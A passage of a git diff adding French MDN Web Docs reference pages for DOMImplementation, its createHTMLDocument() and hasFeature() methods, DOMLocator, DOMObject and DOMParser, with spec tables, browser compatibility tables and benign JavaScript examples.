+  var srcNode = doc.documentElement;
+  var newNode = destDocument.importNode(srcNode, true);
+
+  destDocument.replaceChild(newNode, destDocument.documentElement);
+}
+</pre>
+
+<p>Le code des lignes 4 à 12 permet la création du nouveau document HTML et l'insertion de contenu dans ce dernier. La ligne 4 utilise la méthode <code>createHTMLDocument()</code> pour construire le nouveau document HTML et définir son {{ HTMLElement("title") }} comme "Nouveau Document". Dans les lignes 5 et 6, est créé un nouvel élément paragraphe avec un simple contenu, enfin, les lignes 8 à 12 permettent l'insertion de ce nouveau paragraphe dans le nouveau document.</p>
+
+<p>La ligne 16 récupère le <code>contentDocument</code> <em>(contenu du document)</em> du cadre ; c'est le document dans lequel nous allons injecter le nouveau contenu. Les deux lignes suivantes permettent d'importer le contenu du nouveau document dans le nouveau contexte du document. Pour finir, la ligne 20 remplace le contenu du cadre par le contenu du nouveau document.</p>
+
+<p><a href="/samples/domref/createHTMLDocument.html">Voir l'exemple sur une page</a></p>
+
+<p>Le document retourné est préconstruit avec le code HTML suivant :</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;titre&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-domimplementation-createhtmldocument', 'DOMImplementation.createHTMLDocument')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Première définition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}} [1]</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<p>[1] Le paramètre <code>title</code> a seulement été créé dans Firefox 23.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("DOMImplementation")}}.</li>
+</ul>
diff --git a/files/fr/web/api/domimplementation/hasfeature/index.html b/files/fr/web/api/domimplementation/hasfeature/index.html
new file mode 100644
index 0000000000..4480cdbbc0
--- /dev/null
+++ b/files/fr/web/api/domimplementation/hasfeature/index.html
@@ -0,0 +1,165 @@
+---
+title: DOMImplementation.hasFeature()
+slug: Web/API/DOMImplementation/hasFeature
+tags:
+  - API
+  - DOM
+  - Méthodes
+translation_of: Web/API/DOMImplementation/hasFeature
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>{{deprecated_header()}}</p>
+
+<p>La méthode <strong><code>DOMImplementation.hasFeature()</code></strong> renvoie un {{domxref("Boolean")}} (<em>booléen</em>) indiquant si une fonctionnalité donnée est prise en charge. Cette méthode est dépréciée et les navigateurs modernes renvoient <code>true</code> (<em>vrai</em>) dans tous les cas.</p>
+
+<p>Les différentes implémentations ont été assez divergentes quant au type de caractéristiques signalées. La dernière version de la spécification a décidé de forcer cette méthode à toujours renvoyer <code>true</code>, là où la fonctionnalité était précisée et utilisée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>flag</em> = document.implementation.hasFeature(<em>feature</em>, <em>version</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>feature</em></dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant le nom de la fonctionnalité.</dd>
+ <dt><em>version</em></dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant la version de la spécification définissant la fonctionnalité.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-domimplementation-hasfeature', 'DOMImplementation.hasFeature')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Modifié pour toujours renvoyer <code>true</code> sauf pour les fonctionnalités SVG.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-5CED94D7', 'DOMImplementation.hasFeature')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de modification de {{SpecName("DOM2 Core")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-5CED94D7', 'DOMImplementation.hasFeature')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de modification de {{SpecName("DOM1")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-5CED94D7', 'DOMImplementation.hasFeature')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Always <code>true</code> for non-SVG features.</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("19.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Always <code>true</code></td>
+   <td>{{CompatChrome(44.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("51.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Always <code>true</code> for non-SVG features.</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("19.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Always <code>true</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(44.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("51.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(44.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("DOMImplementation")}} à laquelle elle est appartient.</li>
+</ul>
diff --git a/files/fr/web/api/domimplementation/index.html b/files/fr/web/api/domimplementation/index.html
new file mode 100644
index 0000000000..544eb44203
--- /dev/null
+++ b/files/fr/web/api/domimplementation/index.html
@@ -0,0 +1,202 @@
+---
+title: DOMImplementation
+slug: Web/API/DOMImplementation
+tags:
+  - API
+  - DOM
+  - Interface
+  - Reference
+translation_of: Web/API/DOMImplementation
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>L'interface <code><strong>DOMImplementation</strong></code> représente un objet fournissant des méthodes qui ne dépendent pas d'un document particulier. <span class="short_text" id="result_box" lang="fr"><span>Un tel objet est renvoyé par la propriété</span></span> {{domxref("Document.implementation")}}.</p>
+
+<h2 id="Propriété">Propriété</h2>
+
+<p><em>Cette interface n'a pas de propriété spécifique et n'en hérite aucune.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Pas de méthode héritée.</em></p>
+
+<dl>
+ <dt>{{domxref("DOMImplementation.createDocument()")}}</dt>
+ <dd>Crée et retourne un {{domxref("XMLDocument")}}.</dd>
+ <dt>{{domxref("DOMImplementation.createDocumentType()")}}</dt>
+ <dd>Crée et retourne un {{domxref("DocumentType")}}.</dd>
+ <dt>{{domxref("DOMImplementation.createHTMLDocument()")}}</dt>
+ <dd>Crée et retourne un {{domxref("Document")}} HTML.</dd>
+ <dt>{{domxref("DOMImplementation.hasFeature()")}}</dt>
+ <dd>Retourne un {{domxref("Boolean")}} <span id="result_box" lang="fr"><span>indiquant si une caractéristique donnée est supportée ou non.</span> <span>Cette fonction n'est pas fiable et est conservée uniquement à des fins de compatibilité : à l'exception des requêtes liées au SVG, elle renvoie toujours la valeur <code>true</code> <em>(vrai).</em></span> <span>Les anciens navigateurs sont très incohérents dans leur comportement.</span></span></dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#domimplementation', 'DOMImplementation')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Supprime la méthode <code>getFeature()</code>.<br>
+    Ajoute la méthode <code>createHTMLDocument()</code>.<br>
+    Modifie le type de retour de <code>createDocument()</code> de {{domxref("Document")}} à {{domxref("XMLDocument")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-102161490', 'DOMImplementation')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Ajoute la méthode <code>getFeature()</code> (jamais implémentée par un agent utilisateur).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-102161490', 'DOMImplementation')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Ajoute les méthodes <code>createDocument()</code> et <code>createDocumentType()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-102161490', 'DOMImplementation')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>6.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>createHTMLDocument()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>createDocument()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>hasFeature()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}} [1]</td>
+   <td>6.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>createDocumentType()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>createHTMLDocument()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>createDocument()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>hasFeature()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>createDocumentType()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Since Gecko 19, <code>hasFeature()</code> mostly returns <code>true</code>.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model" title="/en-US/docs/DOM/DOM_Reference">Référence du DOM.</a></li>
+</ul>
diff --git a/files/fr/web/api/domlocator/index.html b/files/fr/web/api/domlocator/index.html
new file mode 100644
index 0000000000..0857edd58b
--- /dev/null
+++ b/files/fr/web/api/domlocator/index.html
@@ -0,0 +1,53 @@
+---
+title: DOMLocator
+slug: Web/API/DOMLocator
+tags:
+  - API
+  - DOM
+translation_of: Web/API/DOMLocator
+---
+<p>{{APIRef("DOM")}}{{obsolete_header}}</p>
+
+<div class="warning">
+<p>NOTE : N'est pas implémenté dans Mozilla</p>
+</div>
+
+<p>Indique un emplacement, par exemple où une erreur s'est produite. Renvoyé par DOMError.location.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie un entier positif ou -1.</dd>
+ <dt>{{domxref("DOMLocator.columnNumber")}}  {{ReadOnlyInline}}</dt>
+ <dd>Renvoie un entier positif ou -1.</dd>
+ <dt>{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie un entier positif ou -1.</dd>
+ <dt>{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie un entier positif ou -1.</dd>
+ <dt>{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie un entier positif ou -1.</dd>
+ <dt>{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie un entier positif ou -1.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface n'implémente ni n'hérite d'aucune méthode.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/domobject/index.html b/files/fr/web/api/domobject/index.html
new file mode 100644
index 0000000000..b91984316b
--- /dev/null
+++ b/files/fr/web/api/domobject/index.html
@@ -0,0 +1,31 @@
+---
+title: DOMObject
+slug: Web/API/DOMObject
+tags:
+  - API
+  - DOM
+  - Objets
+translation_of: Web/API/DOMObject
+---
+<div>{{APIRef("DOM")}}{{Obsolete_header}}</div>
+
+<p>L'interface obsolète <code><strong>DOMObject</strong></code> était utilisée dans les versions antérieures de la spécification DOM comme classe de base  pour tout type de données. Les spécifications maintenant utilisent simplement le type {{jsxref("Object")}} JavaScript .</p>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#DOMObject", "DOMObject")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/domparser/index.html b/files/fr/web/api/domparser/index.html
new file mode 100644
index 0000000000..a907066096
--- /dev/null
+++ b/files/fr/web/api/domparser/index.html
@@ -0,0 +1,230 @@
+---
+title: DOMParser
+slug: Web/API/DOMParser
+tags:
+  - API
+  - DOM
+  - HTML
+  - SVG
+  - XML
+translation_of: Web/API/DOMParser
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>L'interface <strong><code>DOMParser</code></strong> permet d'analyser le code source {{Glossary("XML")}} ou {{Glossary("HTML")}}  à partir d'une chaîne dans un {{domxref("Document")}} DOM.</p>
+
+<div class="note">
+<p><strong>Note :</strong>  {{domxref("XMLHttpRequest")}}  prend en charge l'analyse XML et HTML directement à partir des ressources adressables par URL, retournant un  <code>Document</code> dans sa propriété  {{domxref("XMLHttpRequest.reponse", "response")}} .</p>
+</div>
+
+<p>Vous pouvez effectuer l'opération inverse - convertir un arbre DOM en source XML ou HTML - en utilisant l'interface {{domxref("XMLSerializer")}}.</p>
+
+<p>Dans le cas d'un document HTML, vous pouvez également remplacer des parties du DOM par de nouveaux arbres DOM construits à partir de HTML en définissant la valeur de {{domxref("Element.innerHTML")}} et des propriétés {{domxref("Element.outerHTML","outerHTML")}}. Ces propriétés peuvent également être lues pour récupérer des fragments HTML liés à la sous-arborescence DOM correspondante.</p>
+
+<h2 id="Gestion_d.27erreurs" name="Gestion_d.27erreurs">Création d'un DOMParser</h2>
+
+<p>Pour créer un objet <code>DOMParser</code>, utilisez simplement <code>DOMParser()</code>.</p>
+
+<h2 id="Analyse_XML">Analyse XML</h2>
+
+<p>Une fois que vous avez créé un objet d'analyse, <span id="result_box" lang="fr"><span>vous pouvez analyser XML à partir d'une chaîne à l'aide de la méthode </span></span> {{domxref("DOMParser.parseFromString","parseFromString()")}} <span lang="fr"><span> :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> parser <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">DOMParser</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> doc <span class="operator token">=</span> parser<span class="punctuation token">.</span><span class="function token">parseFromString</span><span class="punctuation token">(</span>stringContainingXMLSource<span class="punctuation token">,</span> <span class="string token">"application/xml"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Gestion_d.27erreurs" name="Gestion_d.27erreurs">Gestion d'erreurs</h3>
+
+<p>Notez que si le processus de traitement échoue, <code>DOMParser</code> ne génère aucune exception mais retourne à la place un document d'erreur :</p>
+
+<pre class="brush:xml line-numbers  language-xml"><code class="language-xml"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>parsererror</span> <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.mozilla.org/newlayout/xml/parsererror.xml<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+(error description)
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>sourcetext</span><span class="punctuation token">&gt;</span></span>(a snippet of the source XML)<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>sourcetext</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>parsererror</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Les erreurs d'analyse sont aussi renvoyées à la <a href="https://developer.mozilla.org/fr/docs/Console_d'erreurs">console d'erreur</a>, avec l'URI du document (voir plus bas) comme la source d'erreur.</p>
+
+<h2 id="Analyse_d'un_document_SVG_ou_HTML">Analyse d'un document SVG ou HTML</h2>
+
+<p><span id="result_box" lang="fr"><span>Le <code>DOMParser</code> peut également être utilisé pour analyser un document SVG {{geckoRelease ("10.0")}} ou un document HTML {{geckoRelease ("12.0")}}.</span> <span>Trois résultats différents sont possibles, sélectionnés par le type MIME donné.</span> <span>Si le type MIME est <code>text/xml</code>, l'objet résultant sera un <code>XMLDocument</code>, si le type MIME est <code>image/svg + xml</code>, ce sera un <code>SVGDocument</code> et si le type MIME est <code>text/html</code>, ce sera un <code>HTMLDocument</code>.</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> parser <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">DOMParser</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> doc <span class="operator token">=</span> parser<span class="punctuation token">.</span><span class="function token">parseFromString</span><span class="punctuation token">(</span>stringContainingXMLSource<span class="punctuation token">,</span> <span class="string token">"application/xml"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// retourne un document, mais pas un SVGDocument ni un HTMLDocument</span>
+
+parser <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">DOMParser</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+doc <span class="operator token">=</span> parser<span class="punctuation token">.</span><span class="function token">parseFromString</span><span class="punctuation token">(</span>stringContainingSVGSource<span class="punctuation token">,</span> <span class="string token">"image/svg+xml"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// retourne un SVGDocument, </span></code><code><span class="short_text" id="result_box" lang="fr"><span>qui est aussi un document</span></span></code><code class="language-js"><span class="comment token">.</span>
+
+parser <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">DOMParser</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+doc <span class="operator token">=</span> parser<span class="punctuation token">.</span><span class="function token">parseFromString</span><span class="punctuation token">(</span>stringContainingHTMLSource<span class="punctuation token">,</span> <span class="string token">"text/html"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// retourne un HTMLDocument, </span></code><code><span class="short_text" id="result_box" lang="fr"><span>qui est aussi un document</span></span></code><code class="language-js"><span class="comment token">.</span></code></pre>
+
+<h3 id="Extension_HTML_DOMParser_pour_les_autres_navigateurs">Extension HTML DOMParser pour les autres navigateurs</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">/*
+ * DOMParser HTML extension
+ * 2012-09-04
+ *
+ * By Eli Grey, http://eligrey.com
+ * Public domain.
+ * </span></code><span id="result_box" lang="fr"><span>AUCUNE GARANTIE EXPRESSE OU IMPLICITE.</span> <span>À UTILISER À VOS RISQUES ET PÉRILS.</span></span> <code class="language-js"><span class="comment token">
+ */</span>
+
+<span class="comment token">/*! @source https://gist.github.com/1129031 */</span>
+<span class="comment token">/*global document, DOMParser*/</span>
+
+<span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>DOMParser<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+	<span class="string token">"use strict"</span><span class="punctuation token">;</span>
+
+	<span class="keyword token">var</span> proto <span class="operator token">=</span> DOMParser<span class="punctuation token">.</span>prototype<span class="punctuation token">,</span>
+        nativeParse <span class="operator token">=</span> proto<span class="punctuation token">.</span>parseFromString<span class="punctuation token">;</span>
+
+	<span class="comment token">// Firefox/Opera/IE </span></code><span id="result_box" lang="fr"><span>lancent des erreurs sur les types non pris en charge</span></span> <code class="language-js">
+	<span class="keyword token">try</span> <span class="punctuation token">{</span>
+		<span class="comment token">// </span></code> <span id="result_box" lang="fr"><span>WebKit renvoie null sur les types non pris en charge</span></span> <code class="language-js">
+		<span class="keyword token">if</span> <span class="punctuation token">(</span><span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">DOMParser</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">parseFromString</span><span class="punctuation token">(</span><span class="string token">""</span><span class="punctuation token">,</span> <span class="string token">"text/html"</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+			<span class="comment token">// text/html </span></code><span class="short_text" id="result_box" lang="fr"><span>l'analyse est supportée nativement</span></span> <code class="language-js">
+			<span class="keyword token">return</span><span class="punctuation token">;</span>
+		<span class="punctuation token">}</span>
+	<span class="punctuation token">}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span><span class="class-name token">ex</span><span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span>
+
+	proto<span class="punctuation token">.</span>parseFromString <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>markup<span class="punctuation token">,</span> type<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+		<span class="keyword token">if</span> <span class="punctuation token">(</span><span class="regex token">/^\s*text\/html\s*(?:;|$)/i</span><span class="punctuation token">.</span><span class="function token">test</span><span class="punctuation token">(</span>type<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+			<span class="keyword token">var</span>
+			  doc <span class="operator token">=</span> document<span class="punctuation token">.</span>implementation<span class="punctuation token">.</span><span class="function token">createHTMLDocument</span><span class="punctuation token">(</span><span class="string token">""</span><span class="punctuation token">)</span>
+			<span class="punctuation token">;</span>
